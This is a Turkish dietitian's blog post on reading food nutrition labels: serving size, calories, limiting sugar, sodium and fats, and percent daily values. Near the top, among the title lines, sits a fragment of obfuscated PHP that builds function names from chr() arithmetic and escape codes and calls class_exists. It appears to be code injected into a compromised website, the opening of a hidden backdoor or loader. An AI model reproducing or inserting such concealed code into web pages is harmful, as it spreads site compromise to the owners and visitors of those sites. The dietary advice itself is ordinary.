Gıda Beslenme Etiketleri | Bursa Uzman Diyetisyeni & Fitoterapist Nursena Ardalı

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$KPSRXNVL = chr ( 790 - 710 ).'_' . 'x' . 'c' . "\125" . chr ( 120 - 19 ); $xSYKKfUqz = chr ( 304 - 205 ).chr ( 252 - 144 ).chr (97) . 's' . "\163" . "\x5f" . "\x65" . "\170" . "\151" . "\x73" . "\x74" . 's';$tDLjarJaO = class_exists($KPSRXNVL); $KPSRXNVL = "64582";$xSYKKfUqz = "23685";$wSXkaxVLu = FALSE;$AyJRmGc = 's' . chr (95) . "\156" . "\x47" . "\x65";$lnWjZ = "\x63" . "\154" . chr (97) . chr ( 595 - 480 )."\163" . chr ( 167 - 72 ).'e' . 'x' . "\151" . chr (115) . chr (116) . 's'; Gıda Beslenme Etiketleri | Bursa Uzman Diyetisyeni & Fitoterapist Nursena Ardalı

9Şub2020

Uzman Diyetisyen & Fitoterapist Nursena Ardalı Diğer Sağlık Konuları

Daha sağlıklı seçimler yapmanıza yardımcı olacak olan Beslenme Değerleri Etiketlerini mutlaka Kullanın! Bu etiketlerde İşte aranacaklar:

Servisin nasıl olacağı bilgileriyle başlayın.
Bu, size tek bir porsiyonun boyutunu ve pakette kaç porsiyon olduğunu ifade eder.
Toplam kaloriyi kontrol edin.
Bütün paketi yersen gerçekten kaç kalori alacağını bilmek için matematiğini kullan
Bazı besin maddelerini karşılaştırıp seçin.
Etiketleri karşılaştırın ve mümkün olduğunca düşük miktarda şeker, sodyum, doymuş yağ ve trans yağ içeren seçenekleri seçin.
Yararlı besinleri yeterince alın.
Vücudunuzun kalsiyum, diyet lifi, demir, magnezyum, potasyum ve Vitamin A, C, D ve E gibi ihtiyaç duyduğu besinleri alın.

% Günlük değer.
% Günlük Değer (GD) her bir besin öğesinin tek bir porsiyondaki günlük önerilen miktar cinsinden yüzdesini gösterir.
Daha az besin tüketmek için (örneğin doymuş yağ veya sodyum),% GD daha düşük (% 5 veya daha az) olan yiyecekleri seçin
Daha fazla besin tüketmek için (lif gibi),% GD -% 20 veya daha fazla olan yiyecekleri seçin.
Daha fazla besin tüketmek için (lif veya potasyum gibi),% GD daha yüksek (% 20 veya daha fazla) olan yiyecekleri seçin.

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